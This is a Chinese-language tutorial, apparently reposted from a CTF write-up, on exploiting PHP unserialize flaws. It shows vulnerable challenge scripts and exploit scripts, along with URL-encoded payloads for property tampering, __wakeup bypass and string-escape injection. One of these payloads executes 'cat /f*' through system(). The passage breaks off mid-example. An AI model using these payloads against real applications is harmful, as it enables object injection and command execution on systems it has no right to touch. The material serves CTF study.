欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

PHP反序列化实用指南

最编程 2024-07-26 19:13:49
...

一、简单的反序列化题目

1.P1

task.php

<?php
highlight_file(__FILE__);

class NSS {
    var $name;

    function __destruct() {
        if ($this->name === 'ctf') {
            echo getenv('FLAG');
        }
    }
}

unserialize($_GET['n']); 

exp.php

<?php

class NSS {
    var $name='ctf';

}

$a=new NSS();
print(urlencode(serialize($a)));

//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D

2.[SWPUCTF 2021 新生赛]ez_unserialize

task.php

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

exp.php


O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

<?php

class wllm{

    public $admin="admin";
    public $passwd="ctf";

}

$a=new wllm();
print(urlencode(serialize($a)));
//O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

二、wake_up 绕过

1.P3

task.php

 <?php
highlight_file(__FILE__);

class NSS {
    var $name;

    function __wakeup() {
        $this->name = '1';
    }

    function __destruct() {
        if ($this->name === 'ctf') {
            echo getenv('FLAG');
        }
    }
}

unserialize($_GET['n']); 

exp.php

<?php

class NSS {
    var $name='ctf';
} 

$a=new NSS();

print(urlencode(serialize($a)));

//O%3A3%3A%22NSS%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A3%3A%22ctf%22%3B%7D
//O%3A3%3A"NSS"%3A2%3A{s%3A4%3A"name"%3Bs%3A3%3A"ctf"%3B}

2.[极客大挑战 2019]PHP

task.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

exp.php

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
$a=new Name("admin","100");

print(urlencode(serialize($a)));

//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

三、反序列化字符逃逸

1.字符增加

(1).task.php

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

思路分析

需要反序列化后的password变成yu22x

我们随便带入一个username,password修改为yu22x得到目标字符串

<?php

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
}

$b=new a('admin','yu22x');
echo serialize($b);

#O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";s:5:"yu22x";}

其中我们需要利用的子串是";s:8:“password”;s:5:“yu22x”;}长度30位。

观察替换规则,由Firebasky变成Firebaskyup字符增加2,因此我们需要15个Firebasky

得到payload:

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

(2).index.php

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

思路分析

我们需要把message中的token修改为admin获得flag

首先得到目标字符串

<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$b=new message('1','2','3');
echo serialize($b);

#O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}

我们需要构造的子串是";s:5:“token”;s:5:“admin”;},长度为27,观察替换规则,一个fuck,变成一个loveU,字符增加1,我们需要27个fuck。

payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问messa.php获得flag

(3).index.php

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

思路分析

通过控制GetFlag当中的cmd来执行不同的系统命令,获得flag。

假设我们想要执行ls命令,那么目标字符串就是 O:7:“GetFlag”:2:{s:3:“key”;s:1:“1”;s:3:“cmd”;s:2:“ls”;}

那么我们需要构造的字串是";s:3:“cmd”;s:2:“ls”;},长度为22,观察替换规则,bad变为good,这时候增加一个字符,因此需要22个bad。

payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

这时候,我们成功执行了ls命令

最终payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

2.字符减少

(1).task.php

<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = "ppurlet"
$age = "10";
$user = array($username,$age);

var_dump (serialize($user));    # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r);
var_dump (unserialize($r));     # 打印反序列
?>
//将age修改为20

思路分析

目标字符串 a:2:{i:0;s:7:“ppurlet”;i:1;s:2:“20”;}

如果我们控制age=20,正常序列化的结果是;i:1;s:2:“20”;}

在其前边插入任意字符和双引号序列化之后得到:a:2:{i:0;s:7:“Wurlet”;i:1;s:17:“1”;i:1;s:2:“20”;}";}

需要吞掉";i:1;s:17:"1这个字符串也就是13个字符。

<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = "pppppppppppppppppppppppppp"; //长度为13
$age = '1";i:1;s:2:"20";}'; //正常序列化的结果
$user = array($username,$age);

var_dump (serialize($user));    # 序列化
echo "<pre>";
$r = filter(serialize($user)); # 替换后序列化
var_dump ($r